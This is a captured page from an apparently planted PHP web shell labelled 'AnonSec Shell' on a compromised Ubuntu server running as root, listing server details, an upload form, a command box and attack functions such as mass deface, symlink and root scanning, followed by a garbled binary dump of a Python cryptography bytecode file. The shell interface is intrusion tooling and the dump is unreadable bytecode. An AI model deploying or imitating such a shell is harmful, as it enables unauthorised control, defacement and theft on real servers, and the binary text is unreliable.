AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/ed25519.cpython-310.pyc
o

-&%a��@sTddlmZddlmZddlmZmZmZmZGdd�de�Z	Gdd�de�Z
dS)	�)�
exceptions)�
serialization)�Ed25519PrivateKey�Ed25519PublicKey�_ED25519_KEY_SIZE�_ED25519_SIG_SIZEc@sReZdZdd�Zdejdejdefdd�Zdefdd	�Z	d
ededdfd
d�Z
dS)�_Ed25519PublicKeycC�||_||_dS�N��_backend�	_evp_pkey��self�backend�evp_pkey�r�N/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/ed25519.py�__init__�
z_Ed25519PublicKey.__init__�encoding�format�returncCsV|tjjus|tjjur |tjjus|tjjurtd��|��S|j�||||jd�S)Nz3When using Raw both encoding and format must be Raw)	r�Encoding�Raw�PublicFormat�
ValueError�_raw_public_bytesr�_public_key_bytesr
)rrrrrr�public_bytess
�
�
�
���z_Ed25519PublicKey.public_bytescC�p|jj�dt�}|jj�dt�}|jj�|j||�}|j�|dk�|j�|dtk�|jj�|t�dd�S�Nzunsigned char []�size_t *�r)	r�_ffi�newr�_lib�EVP_PKEY_get_raw_public_keyr
�openssl_assert�buffer�r�buf�buflen�resrrrr,��z#_Ed25519PublicKey._raw_public_bytes�	signature�dataNcCs�|jj��}|j�||jjjk�|jj�||jjj�}|jj�||jjj|jjj|jjj|j	�}|j�|dk�|jj�
||t|�|t|��}|dkrT|j��t
j�dS)Nr#)rr&�EVP_MD_CTX_newr(r$�NULL�gc�EVP_MD_CTX_free�EVP_DigestVerifyInitr
�EVP_DigestVerify�len�_consume_errorsr�InvalidSignature)rr/r0�
evp_md_ctxr-rrr�verify6s(
���
�z_Ed25519PublicKey.verify)�__name__�
__module__�__qualname__rrrr�bytesrrr;rrrrrs��
�
rc@sbeZdZdd�Zdefdd�Zdedefdd�Zd	ej	d
ej
dejdefdd
�Zdefdd�Z
dS)�_Ed25519PrivateKeycCr	r
rrrrrrMrz_Ed25519PrivateKey.__init__rcCsz|jj�dt�}|jj�dt�}|jj�|j||�}|j�|dk�|j�|dtk�|jj�|�dd�}|j�	|�Sr!)
rr$r%rr&r'r
r(r)�ed25519_load_public_bytes)rr+r,r-rrrr�
public_keyQs�z_Ed25519PrivateKey.public_keyr0cCs�|jj��}|j�||jjjk�|jj�||jjj�}|jj�||jjj|jjj|jjj|j	�}|j�|dk�|jj�
dt�}|jj�
dt|��}|jj�
||||t|��}|j�|dk�|j�|dtk�|jj�||d�dd�S)Nr#zunsigned char[]r"r)rr&r1r(r$r2r3r4�EVP_DigestSignInitr
r%rr7�EVP_DigestSignr))rr0r:r-r+r,rrr�sign\s*
���z_Ed25519PrivateKey.signrr�encryption_algorithmcCsd|tjjus|tjjur&|tjjus|tjjust|tj�s"td��|��S|j	�
|||||jd�S)NzcWhen using Raw both encoding and format must be Raw and encryption_algorithm must be NoEncryption())rrrr�
PrivateFormat�
isinstance�NoEncryptionr�_raw_private_bytesr�_private_key_bytesr
)rrrrFrrr�
private_bytesss&
�
�
�
�����z _Ed25519PrivateKey.private_bytescCr r!)	rr$r%rr&�EVP_PKEY_get_raw_private_keyr
r(r)r*rrrrJ�r.z%_Ed25519PrivateKey._raw_private_bytesN)r<r=r>rrrBr?rErrrG�KeySerializationEncryptionrLrJrrrrr@Ls���
�r@N)�cryptographyr�cryptography.hazmat.primitivesr�1cryptography.hazmat.primitives.asymmetric.ed25519rrrrrr@rrrr�<module>s
<

Anon7 - 2022
AnonSec Team